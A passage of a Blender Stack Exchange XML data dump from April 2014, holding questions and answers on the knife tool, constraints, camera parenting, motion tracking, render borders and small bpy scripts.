href=&quot;https://blender.stackexchange.com/q/6446/599&quot;&gt;Is there a way to have one material for cycles and the BI&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-27T22:54:26.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostTypeId="1" CreationDate="2014-04-27T23:48:20.590" Score="1" ViewCount="347" Body="&lt;p&gt;I'm using 2.70a in Cycles and I added a text object, then tried Set Origin to Geometry, but the Origin moved AWAY from the geometry. In fact, it continued to do so each time I tried Set Origin to Geometry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkyfL.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or a feature?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2217" LastEditDate="2014-05-01T02:43:13.703" LastActivityDate="2014-05-01T02:43:13.703" Title="Why does Set Origin to Geometry for Text not work?" Tags="&lt;modeling&gt;&lt;text-object&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-28T13:53:14.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostTypeId="1" AcceptedAnswerId="8956" CreationDate="2014-04-27T23:54:22.657" Score="45" ViewCount="68021" Body="&lt;p&gt;How can I get the knife tool to snap to the same spot on another edge to get a straight cut. Here is an example of what I want to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qjo8s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the line turns green the cut is straight. How can I do this in blender? I have tried using the magnet snapping tool but could not get it to work.&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="2217" LastEditDate="2015-06-01T23:25:47.963" LastActivityDate="2017-11-03T02:26:24.973" Title="Cut straight lines with knife tool" Tags="&lt;workflow&gt;&lt;snapping&gt;&lt;knife-tool&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="8956" PostTypeId="2" ParentId="8955" CreationDate="2014-04-27T23:56:35.870" Score="59" Body="&lt;p&gt;Press &lt;kbd&gt;C&lt;/kbd&gt; while in knife mode to enable &lt;em&gt;Angle Constrain&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that it snaps to angles relative to the view. For cuts on faces which are not aligned to any axis, you can:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 7&lt;/kbd&gt; to align the view to the face&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;K&lt;/kbd&gt; to enter knife mode, then &lt;kbd&gt;C&lt;/kbd&gt; to enable &lt;em&gt;Angle Constrain&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h0uZg.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-28T00:06:46.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostTypeId="2" ParentId="8955" CreationDate="2014-04-28T00:12:17.167" Score="13" Body="&lt;h2&gt;Angle Constrain&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;kbd&gt;C&lt;/kbd&gt; while using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;noreferrer&quot;&gt;Knife Tool&lt;/a&gt; to enable &lt;em&gt;Angle Constrain&lt;/em&gt;. This will enable you to cut at the following angles (with reference to your current view): &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Vertically &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Horizontally&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At 45° angles &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, notice that when you start to use the Knife tool, the 3D View Header bar changes to show you all the available Hotkeys to perform all possible actions with the Knife:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LGBUe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;LMB&lt;/kbd&gt;: &lt;em&gt;Define cut lines&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;RETURN&lt;/kbd&gt;/&lt;kbd&gt;SPACEBAR&lt;/kbd&gt;: &lt;em&gt;Confirm&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;ESC&lt;/kbd&gt;/&lt;kbd&gt;RMB&lt;/kbd&gt;: &lt;em&gt;Cancel&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;E&lt;/kbd&gt;: &lt;em&gt;New Cut&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt;: Toggle &lt;em&gt;Midpoint Snap&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;: Toggle &lt;em&gt;Ignore Snap&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;C&lt;/kbd&gt;: Toggle &lt;em&gt;Angle Constrain&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Z&lt;/kbd&gt;: Toggle &lt;em&gt;Cut Through&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;NOTE:&lt;/strong&gt; It is common in Blender to have available Hotkeys shown in the 3D View Header bar while using a tool, so check there while using other tools too.)&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-28T00:33:05.313" LastActivityDate="2014-04-28T00:33:05.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8958" PostTypeId="1" CreationDate="2014-04-28T00:15:18.793" Score="2" ViewCount="153" Body="&lt;p&gt;Using the numpad to switch views works fine in object mode, but when I switch to edit mode it is a random view and skewed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the front view in object mode after hitting the NUMPAD 1 button&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jZihr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the same everything in edit mode, hitting NUMPAD 1, which seams to rotate and view the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AzRAI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3303" LastActivityDate="2014-04-28T00:15:18.793" Title="Numpad View acting different in Edit mode and Object Mode?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="8959" PostTypeId="1" AcceptedAnswerId="8960" CreationDate="2014-04-28T01:12:47.113" Score="15" ViewCount="6053" Body="&lt;p&gt;let's say we have a magazine, a gun, and hands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The magazine is parented with the gun. When I make an animation of reloading, I want the Magazine to be a parent of the hand, then after the magazine goes back into the gun I want the magazine to be parented with the gun again.&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-04-28T01:53:13.070" LastActivityDate="2014-04-28T02:12:23.030" Title="Animate the parenting of an object" Tags="&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8960" PostTypeId="2" ParentId="8959" CreationDate="2014-04-28T02:12:23.030" Score="18" Body="&lt;p&gt;You can use two &lt;em&gt;Child of&lt;/em&gt; constraint with an animated influences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlRHM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above gif, there are two animated empties. The cube follows &lt;code&gt;Empty&lt;/code&gt; first, then switches to &lt;code&gt;Empty.001&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-28T02:12:23.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8961" PostTypeId="1" AcceptedAnswerId="8964" CreationDate="2014-04-28T02:15:04.623" Score="2" ViewCount="619" Body="&lt;p&gt;Every clip added to the video Sequence editor (VSE) defaults to an MPEG Preseek of &lt;code&gt;0&lt;/code&gt;. Does anyone know of an addon or a way to have each clip inherit a user-defined preseek setting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would save a great deal of time with this project and future ones. Thanks in advance for your input.&lt;/p&gt;&#xA;" OwnerUserId="2220" LastActivityDate="2014-04-28T08:47:46.270" Title="Set Default MPEG Preseek" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8964" PostTypeId="2" ParentId="8961" CreationDate="2014-04-28T08:47:46.270" Score="1" Body="&lt;p&gt;There is an addon called Property Chart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6y8A0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon adds a panel to the properties sidebar that allows you to easily copy settings between items. This addon works in the 3dview as well as the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fu0Zs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding &lt;code&gt;mpeg_preseek&lt;/code&gt; to the list, the value is then shown for the selected items and by setting the top item to the desired value you can then click the clipboard and have the value copied to all other items. One catch is that you need to set the value in the top item, if the top item doesn't have mpeg_preseek then you can't set it. This only matters as the last item selected when you select all will be on top of the list, having a transform selected first will then stop this working, so be sure to select a movie strip then select all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A small script could also be used to set them. With a little effort this can be adjusted to add a properties panel with a button to set all strips to the desired value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for seq in bpy.context.scene.sequence_editor.sequences:&#xA;    if hasattr(seq, 'mpeg_preseek'):&#xA;        seq.mpeg_preseek = 25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-28T08:47:46.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostTypeId="1" CreationDate="2014-04-28T09:05:24.760" Score="4" ViewCount="1484" Body="&lt;p&gt;In other words, if you set keyframes for the camera, then between the keyframes it's difficult to determine where to (for example) quickly put text in front of the camera while it's moving.  Is there any way to set objects so they are positioned in front of the camera automatically as it moves?  Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="3280" LastEditorUserId="836" LastEditDate="2014-04-28T14:16:33.383" LastActivityDate="2015-08-02T03:15:41.517" Title="How Do You Have Objects Stay In Front Of The Camera While It's Moving?" Tags="&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8966" PostTypeId="2" ParentId="8965" CreationDate="2014-04-28T09:12:40.600" Score="5" Body="&lt;p&gt;You can &lt;em&gt;Parent&lt;/em&gt; an object to the camera by first selecting the object, then the camera (so that the camera is highlighted in yellow), then pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I55k5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object will now stay fixed relative to the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K7TKq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-28T09:12:40.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostTypeId="1" CreationDate="2014-04-28T17:20:06.500" Score="2" ViewCount="7458" Body="&lt;p&gt;I am trying to create a scene in &lt;strong&gt;&lt;code&gt;SOFA&lt;/code&gt;&lt;/strong&gt; (Simulation Open Framework ) in which I require to specify  a &lt;code&gt;.msh&lt;/code&gt; file(mesh topology)  for a &lt;code&gt;.obj&lt;/code&gt; file(model).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to generate a &lt;code&gt;.msh&lt;/code&gt; file  in &lt;code&gt;blender&lt;/code&gt; or a way to convert &lt;code&gt;obj&lt;/code&gt; to &lt;code&gt;.msh&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/file/d/0B_I1H5C0EX4lREd0TVBJYi1qR00/edit&quot; rel=&quot;nofollow&quot;&gt;torus.msh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2942" LastEditorUserId="2942" LastEditDate="2014-04-28T18:21:12.960" LastActivityDate="2015-08-20T11:35:24.940" Title="Mesh file in Blender" Tags="&lt;export&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8968" PostTypeId="2" ParentId="8967" CreationDate="2014-04-28T17:30:08.243" Score="3" Body="&lt;h2&gt;Orbiter Import/Export .MSH Files Addon&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The current version of the add-on works only with Blender 2.63 or later with Bmesh (new powerful mesh system with Ngons). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The addon exports and imports geometry, UVs, materials and textures from/into Blender scene.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the latest Blender build from Graphicall.org&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the archive from links below&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://gitorious.org/blender-orbiter-io/blender-orbiter-io/archive-tarball/master&quot; rel=&quot;nofollow&quot;&gt;http://gitorious.org/blender-orbiter-io/blender-orbiter-io/archive-tarball/master&lt;/a&gt; (.tar.gz),&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/vlad32768/blender-orbiter-io/zipball/master&quot; rel=&quot;nofollow&quot;&gt;https://github.com/vlad32768/blender-orbiter-io/zipball/master&lt;/a&gt; (.zip)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or you can download Git repository from  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;git://gitorious.org/blender-orbiter-io/blender-orbiter-io.git &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;git://github.com/vlad32768/blender-orbiter-io.git&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place io_orbiter_msh.py into Blender's addons directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable module in File-&gt;User Preferences-&gt;Add-Ons dialog&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Notes on .msh import:&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You should import meshes from Orbiter installation. The module will autodedect Orbiter directory and load textures from Orbiter installation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script doesn't import vertex normals. It seems that Blender often recalculates vertex normals, so it's useless to import them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is one material with different textures in .msh file, the script will create a copy of this material for every texture.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are no ambient and emissive colors in Blender, so the script doesn't import ambient colors, but calculates emit component&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some models (for example DGIV and DG-XR) have got materials with shiny specular and zero hardness. That doesn't look good in blender. &#xA;You can use &quot;Raise small hardness&quot; parameter in file import dialog to set minimal hardness manually&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Notes on .msh export&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The script exports selected objects. To export the whole scene, select all objects by pressing &quot;a&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1a. Blender has to be in object mode before exporting ( to avoid some Python API issues and, of course, to select mesh objects for export). If not, object mode will be set automatically during export.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Coordinate system: The script does conversion to left handed coordinate system, so there is the proper way to place your model in Blender when you start modeling:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Y axis is the direction of the main thruster's exhaust; -Y is the main thrust direction;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Z axis points UP;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;X axis points LEFT.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Materials: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You should use Blender Internal renderer; don't use Cycles if you want to export your model to Blender;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script exports only the first material of a mesh object;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The script makes Ambient color equal to Diffuse;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Emissive color is equal to Diffuse*emit&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Textures&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The script exports only the first texture of a material; this texture's type must be &quot;IMAGE&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you export your model to &quot;file.msh&quot;, textures will be saved in &quot;filetex&quot; directory near the .msh file.&#xA;&quot;file.msh&quot; should be copied to Orbiter's &quot;Meshes&quot; directory, &quot;filetex&quot; directory &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;to &quot;Textures&quot; (see TEXTURES section of .msh file)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blender does not support writing .DDS files. In most cases the script will save .png files (check it). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you have to convert textures to .dds manually. However, the script writes names with .dds extension in .msh TEXTURES section&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Source: &lt;a href=&quot;http://www.orbiter-forum.com/showthread.php?t=18661&quot; rel=&quot;nofollow&quot;&gt;http://www.orbiter-forum.com/showthread.php?t=18661&lt;/a&gt; )&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2015-04-18T20:16:06.663" LastActivityDate="2015-04-18T20:16:06.663" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8969" PostTypeId="2" ParentId="8934" CreationDate="2014-04-28T17:40:37.773" Score="7" Body="&lt;p&gt;Blender is failing to reconstruct because it cannot get enough good tracking information to reconstruct the 3D motion for a section of the video, so it reconstructs only a portion of the shot. The frames where it failed are marked in red.&lt;/p&gt;&#xA;&lt;p&gt;There are many reasons why your shot fails to track properly making the 3D reconstruction impossible.&lt;/p&gt;&#xA;&lt;p&gt;I'll address a few.&lt;/p&gt;&#xA;&lt;h1&gt;1- A successful track is determined primarily by the quality of the shot.&lt;/h1&gt;&#xA;&lt;p&gt;Blurry, distorted images will be much harder to track than clear, sharp ones with unique features in which to anchor the trackers.&lt;/p&gt;&#xA;&lt;p&gt;In this case, you're getting &amp;quot;rolling shutter distortion&amp;quot; or &amp;quot;jello effect&amp;quot; from the sensor of the camera on your iphone. The movement of the camera makes the image dance all over the frame giving the trackers false information.&lt;/p&gt;&#xA;&lt;p&gt;-To correct that you would need hold the camera steadier, or undistort the video using other tools like Virtual dub or warp stabilizer on adobe premiere or afterfx.&lt;/p&gt;&#xA;&lt;p&gt;In parts of the shot the camera moves way too fast. The image has so much motion blur that the trackers no longer have enough features to follow.&#xA;-solution: Do not move the camera so fast, so the image stays sharp.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vMKNY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The scene itself has very few distinctive features to anchor the trackers on. The cement floor and the wall have almost the same texture, so blender has a hard time finding specific points from frame to frame. The best tracking points in an image are those with unique features and sharp contrast.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NONDW.png&quot; alt=&quot;Not much to track here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;-Solution: Find a distinctive features in your scene or add them to make the tracking accurate. You can do that with bright tape or with a color that is not part of the scene (you can also use marbles or colored balls). Those markers you can remove later.&lt;/p&gt;&#xA;&lt;h1&gt;2- The way the camera moves in the original shot determines the kind of camera solving that is required.&lt;/h1&gt;&#xA;&lt;p&gt;The default camera solver in blender presumes some parallax, or change in perspective, like when you walk and objects in the foreground move faster in the frame than those far away.&lt;/p&gt;&#xA;&lt;p&gt;If the camera is static on the same place (not advancing laterally or going up or down) but just rotating or tilting, then the shot cannot be solved with the regular mode in blender.&lt;/p&gt;&#xA;&lt;p&gt;-Solution: You have to use &amp;quot;tripod solve&amp;quot; (even if your camera was not on a real tripod). That solution will give you a 3D camera that mimics the original move and the tracking points will be projected form the camera, not necessarily reconstructing the  geometry of the original objects. In tripod camera solving it is much harder to accurately estimate distance.&lt;/p&gt;&#xA;&lt;h1&gt;3- Accurate tracking is the only way to get a proper solution.&lt;/h1&gt;&#xA;&lt;p&gt;The error messages and red bars you see are all the frames blender couldn't reconstruct and are listed as the errors on the console. This happens as the result of blender not having enough information to accurately recreate the camera in the 3d environment.&lt;/p&gt;&#xA;&lt;p&gt;Solution: Refine your trackers, make sure they don't slip or start tracking unwanted parts. Delete trackers with errors (use the clear track forward/back tool). Play with the correlation values when the tracker fails. The goal is to have a solve error as low as possible. If you can get it to be around 0.3 you'll be fine&lt;/p&gt;&#xA;&lt;p&gt;(But you can save yourself some time by going out and shooting a new video keeping in mind all of the above).&#xA;good luck!&lt;/p&gt;&#xA;&lt;h1&gt;FOR MORE TIPS ON MOTION TRACKING &lt;a href=&quot;https://blender.stackexchange.com/a/42332/1853&quot;&gt;READ THIS POST&lt;/a&gt;&lt;/h1&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-05-26T21:43:06.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="1" AcceptedAnswerId="8973" CreationDate="2014-04-28T19:22:15.317" Score="3" ViewCount="379" Body="&lt;h1&gt;Background&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In an animation, text scrolls horizontally across the screen (from left to right), stopping on the far right. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ujhZm.png&quot; alt=&quot;Animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background is transparent and no other objects are in the scene. Blender creates PNG frames at 720p, as expected.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Problem&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Blender spends time rendering image parts that will only be transparent. The &lt;kbd&gt;CTRL+b&lt;/kbd&gt; command allows for rendering a subsection of the image, but appears to produce an image that is not 720p.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Question&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;How would you create a 1280x720 PNG image but only render a horizontal band (see below) where the text is animated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VROoZ.png&quot; alt=&quot;Example Render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Related&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/301/render-just-part-of-a-final-image-from-cycles&quot;&gt;Render just part of a final image from Cycles?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-04-28T21:13:04.710" Title="Render subsection, produce full resolution image" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8972" PostTypeId="1" AcceptedAnswerId="8974" CreationDate="2014-04-28T19:42:49.317" Score="1" ViewCount="1020" Body="&lt;p&gt;I have troubles with this function:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mathutils.geometry.tessellate_polygon(veclist_list)&lt;/p&gt;&#xA;&lt;p&gt;Takes a list of polylines (each point a vector) and returns the point indices for a polyline filled with triangles.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What is a polyline?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.travellermap.com/tmp/delaunay.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.travellermap.com/tmp/delaunay.htm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I thought I can just throw a list of Vectors() at it like in this JavaScript example but apparently not.&lt;/p&gt;&#xA;" OwnerUserId="1027" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-28T21:33:52.113" Title="How to use mathutils.geometry.tessellate_polygon()?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostTypeId="2" ParentId="8971" CreationDate="2014-04-28T20:12:27.433" Score="4" Body="&lt;p&gt;By default, using the render border (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;) will still produce a full image according to the set render resolution (I think this what you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image will only be cropped to the border region if &lt;em&gt;Crop&lt;/em&gt; is enabled in &lt;em&gt;Render settings &gt; Dimensions&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJqQV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;em&gt;Crop&lt;/em&gt; &lt;strong&gt;disabled&lt;/strong&gt;, only the border region will be rendered, and the rest of the image will be filled with transparency.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-28T20:12:27.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8974" PostTypeId="2" ParentId="8972" CreationDate="2014-04-28T21:33:52.113" Score="3" Body="&lt;p&gt;The &lt;code&gt;tessellate_polygon()&lt;/code&gt; function expects a list of lists (or tuples) for its only argument &lt;code&gt;veclist_list&lt;/code&gt;. This allows for polygons with holes. You can commonly leave out additional sequences of Vectors, and just pass it one set of Vectors that form a polyine: &lt;code&gt;tessellate_polygon((points,))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a script that takes the first polygon of the selected mesh object and uses its vertices as points for the tessellation function (actually, it's a triangulation function). A new mesh is created from the results, leading to a copy of the initial face at a first glance. But if you look closer, you will notice that it consists of multiple triangles (if the input was a quad or ngon), and they aren't connected. To show this better, I added an &quot;explode&quot; feature (move all verts of a triangle based on the distance between the triangle center and the center of the mesh):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import 